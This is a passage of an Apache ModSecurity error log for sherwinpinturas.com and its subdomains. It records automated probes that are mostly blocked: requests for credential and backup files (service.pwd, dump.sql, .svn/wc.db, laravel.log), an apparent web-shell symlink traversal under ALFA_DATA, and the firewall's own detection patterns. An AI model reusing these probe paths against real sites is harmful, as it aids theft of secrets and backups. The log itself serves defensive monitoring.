"at2BdLfQdvgLJqDYDw-HFgAAACc"]
[Sun Oct 25 00:11:32.389614 2026] [security2:error] [pid 2759043:tid 2759043] [client 85.208.96.196:60002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbrcvucode.sys"] [unique_id "at2BdLfQdvgLJqDYDw-HFgAAACc"]
[Sun Oct 25 00:11:32.390015 2026] [security2:error] [pid 2759043:tid 2759043] [client 85.208.96.196:60002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbrcvucode.sys"] [unique_id "at2BdLfQdvgLJqDYDw-HFgAAACc"]
[Sun Oct 25 00:11:34.185015 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 44.196.118.6:15568] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:11:38.179314 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 184.73.195.18:47384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/uevent
[Sun Oct 25 00:11:42.184675 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 54.80.73.122:47008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:11:42.855549 2026] [security2:error] [pid 2759007:tid 2759007] [client 146.19.248.35:45476] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cloudflare.com:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cloudflare.com"] [uri "/"] [unique_id "at2BfkdxlPUftbP0pGm0kwAAAAQ"]
[Sun Oct 25 00:11:46.305564 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 54.163.169.168:51966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:12:06.178280 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 34.234.197.175:37865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:12:14.191723 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 34.235.239.240:7290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:12:34.159608 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 54.147.80.137:2342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:12:38.317386 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 98.83.226.125:55839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:13:02.158488 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 107.20.181.148:63234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:13:06.169879 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 54.87.95.7:38392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:13:10.181772 2026] [security2:error] [pid 2759033:tid 2759033] [client 52.5.242.243:9910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/"] [unique_id "at2B1sNwxW3KKDSgNULZ8AAAAB0"]
[Sun Oct 25 00:13:10.181836 2026] [security2:error] [pid 2759033:tid 2759033] [client 52.5.242.243:9910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/"] [unique_id "at2B1sNwxW3KKDSgNULZ8AAAAB0"]
[Sun Oct 25 00:13:26.185894 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 34.225.243.131:38036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:13:31.698954 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B67fQdvgLJqDYDw-HGwAAACc"]
[Sun Oct 25 00:13:31.699047 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B6wZgOLj1f4TvChUQPwAAAA4"]
[Sun Oct 25 00:13:31.699287 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B67fQdvgLJqDYDw-HGwAAACc"]
[Sun Oct 25 00:13:31.699306 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B6wZgOLj1f4TvChUQPwAAAA4"]
[Sun Oct 25 00:13:31.699570 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B67fQdvgLJqDYDw-HGwAAACc"]
[Sun Oct 25 00:13:31.699579 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B6wZgOLj1f4TvChUQPwAAAA4"]
[Sun Oct 25 00:13:31.701027 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B6-Nw4YxNM9StcJUGvwAAADI"]
[Sun Oct 25 00:13:31.701228 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B6-Nw4YxNM9StcJUGvwAAADI"]
[Sun Oct 25 00:13:31.701444 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B6-Nw4YxNM9StcJUGvwAAADI"]
[Sun Oct 25 00:13:31.710975 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B62TNY6y0aXZ6joCacgAAADk"]
[Sun Oct 25 00:13:31.711162 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B62TNY6y0aXZ6joCacgAAADk"]
[Sun Oct 25 00:13:31.711380 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at2B62TNY6y0aXZ6joCacgAAADk"]
[Sun Oct 25 00:13:31.812789 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B62TNY6y0aXZ6joCacwAAADk"]
[Sun Oct 25 00:13:31.812923 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B62TNY6y0aXZ6joCacwAAADk"]
[Sun Oct 25 00:13:31.813032 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B62TNY6y0aXZ6joCacwAAADk"]
[Sun Oct 25 00:13:31.813250 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B62TNY6y0aXZ6joCacwAAADk"]
[Sun Oct 25 00:13:31.917397 2026] [proxy_fcgi:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:13:31.988829 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B6wZgOLj1f4TvChUQQgAAAA4"]
[Sun Oct 25 00:13:31.989169 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B6wZgOLj1f4TvChUQQgAAAA4"]
[Sun Oct 25 00:13:31.989484 2026] [security2:error] [pid 2759013:tid 2759013] [client 81.171.72.93:42260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B6wZgOLj1f4TvChUQQgAAAA4"]
[Sun Oct 25 00:13:32.004502 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWAAAAEU"]
[Sun Oct 25 00:13:32.004747 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWAAAAEU"]
[Sun Oct 25 00:13:32.004966 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWAAAAEU"]
[Sun Oct 25 00:13:32.014383 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7NNN1ZaQv3xNKA96BAAAAEA"]
[Sun Oct 25 00:13:32.014588 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7NNN1ZaQv3xNKA96BAAAAEA"]
[Sun Oct 25 00:13:32.015132 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7NNN1ZaQv3xNKA96BAAAAEA"]
